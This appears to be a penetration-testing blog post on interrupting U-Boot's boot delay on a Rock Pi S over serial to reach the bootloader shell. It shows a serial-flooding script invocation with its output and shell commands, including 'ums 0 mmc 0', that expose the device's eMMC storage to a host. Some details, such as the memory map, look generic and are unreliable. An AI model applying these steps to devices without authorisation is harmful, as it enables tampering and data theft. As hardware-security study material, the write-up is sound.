Glitching U-Boot Bootloader to Gain Shell

August 2025 • ~4 min read • Low Complexity

Comprehensive analysis of U-Boot bootloader internals, security considerations, and reverse engineering techniques.

Introduction

U-Boot (Universal Boot Loader) is an open-source bootloader used in embedded systems, particularly in ARM-based devices. This blog explores its architecture, security vulnerabilities, and reverse engineering techniques.

Attack Complexity

Low — Requires only physical access and a USB-UART cable.

Scope of Testing

Target: Rockchip RK3308-based embedded board (Rock Pi S)

Bootloader: U-Boot v2017.09

Physical Access: Yes

Tools Used:

Serial console over USB-C / USB-UART minicom / screen for serial interaction Linux host for image and filesystem extraction

U-Boot Architecture

The boot process follows this sequence:

[Hardware Reset] -> [ROM Code] -> [U-Boot SPL] -> [U-Boot Init] -> [Kernel]

Key components:

SPL (Secondary Program Loader): Initial boot stage that loads U-Boot proper
U-Boot Proper: Main bootloader with command interface
Environment Variables: Configuration storage in flash memory
DTB (Device Tree Blob): Hardware description for kernel

Memory Layout

0x00000000 - 0x00010000 : SPL
0x00010000 - 0x00100000 : U-Boot
0x00100000 - 0x00200000 : Environment
0x00200000 - 0x01000000 : Kernel

Attack Surface

Bootdelay Vulnerability

The bootdelay parameter defaults to 1 second during which any keypress on the serial line aborts autoboot and drops into the U-Boot shell. This creates a critical attack window.

# Default configuration
bootdelay=1

# During this 1-second window:
# - Any serial input aborts boot
# - Attacker gains U-Boot shell access
# - Full device control possible

# glitching script in action

$ python interupt.py --port /dev/ttyUSB0 --mode nuclear --duration 10 --baudrate 1500000

Connected to /dev/ttyUSB0 at 1500000 baud
NUCLEAR OPTION: Maximum aggression for 10 seconds!
WARNING: This will flood the serial port
NUCLEAR SUCCESS: =>
=> INTERRUPTED
=>
=>
=>
U-Boot interrupt successful
You should now be able to access the U-Boot shell

Why vendors don't disable it: Setting bootdelay=0 can brick devices if the kernel or rootfs becomes corrupted, as there would be no way to interrupt the boot process for recovery.

Exploitation Window

Power On → BootROM → SPL → U-Boot → [1 second window] → Uboot Shell
                                            ↑
                                        Attack here!

Exploitation Sequence

┌─────────────┐                    ┌─────────────┐
│   HostPC    │                    │   Device    │
└──────┬──────┘                    └──────┬──────┘
       │                                  │
       │ 1. Reset + spam serial (script)  │
       │ ────────────────────────────────▶│
       │                                  │
       │      2. Drops into U-Boot shell  │
       │ ◀────────────────────────────────│
       │                                  │
       │ 3. `ums 0 mmc 0`                 │
       │ ────────────────────────────────▶│
       │                                  │
       │      4. Exposes eMMC over USB C  │
       │ ◀────────────────────────────────│
       │                                  │
       ▼                                  ▼

Proof of Concept

Once successfully dropped into the U-Boot shell, you can verify access and gather system information:

Verify U-Boot version and build info

# Verify U-Boot version and build info
=> version
U-Boot 2017.09 (Oct 15 2018 - 14:32:45 +0000)

arm-linux-gnueabihf-gcc (Linaro GCC 7.3-2018.05) 7.3.1 20180425
GNU ld (Linaro_Binutils-2018.05) 2.28.2.20170706

Display environment variables

# Display environment variables
=> printenv
bootdelay=1
baudrate=1500000
ethaddr=00:04:9f:ef:03:45
bootcmd=run distro_bootcmd
...

Show available commands

# Show available commands
=> help
?       - alias for 'help'
base    - print or set address offset
bdinfo  - print Board Info structure
boot    - boot default, i.e., run 'bootcmd'
...

Access storage devices

# Access storage devices
=> mmc list
FSL_SDHC: 0 (eMMC)
FSL_SDHC: 1 (SD)

# Enable USB Mass Storage mode to expose eMMC
=> ums 0 mmc 0
UMS: LUN 0, dev 0, hwpart 0, sector 0x0, count 0x1d20000

This demonstrates complete bootloader compromise, allowing:

Full device memory access
Firmware modification capabilities
Bypass of secure boot mechanisms
Direct hardware manipulation

Tools and Resources

Analysis Tools

binwalk: Firmware analysis
screen: U-Boot interaction

Conclusion

U-Boot analysis reveals critical security implications in embedded systems. Understanding its architecture and vulnerabilities is essential for secure embedded development and penetration testing.

U-Boot Interrupt Script

https://github.com/sharmaniraj009/uboot-interupt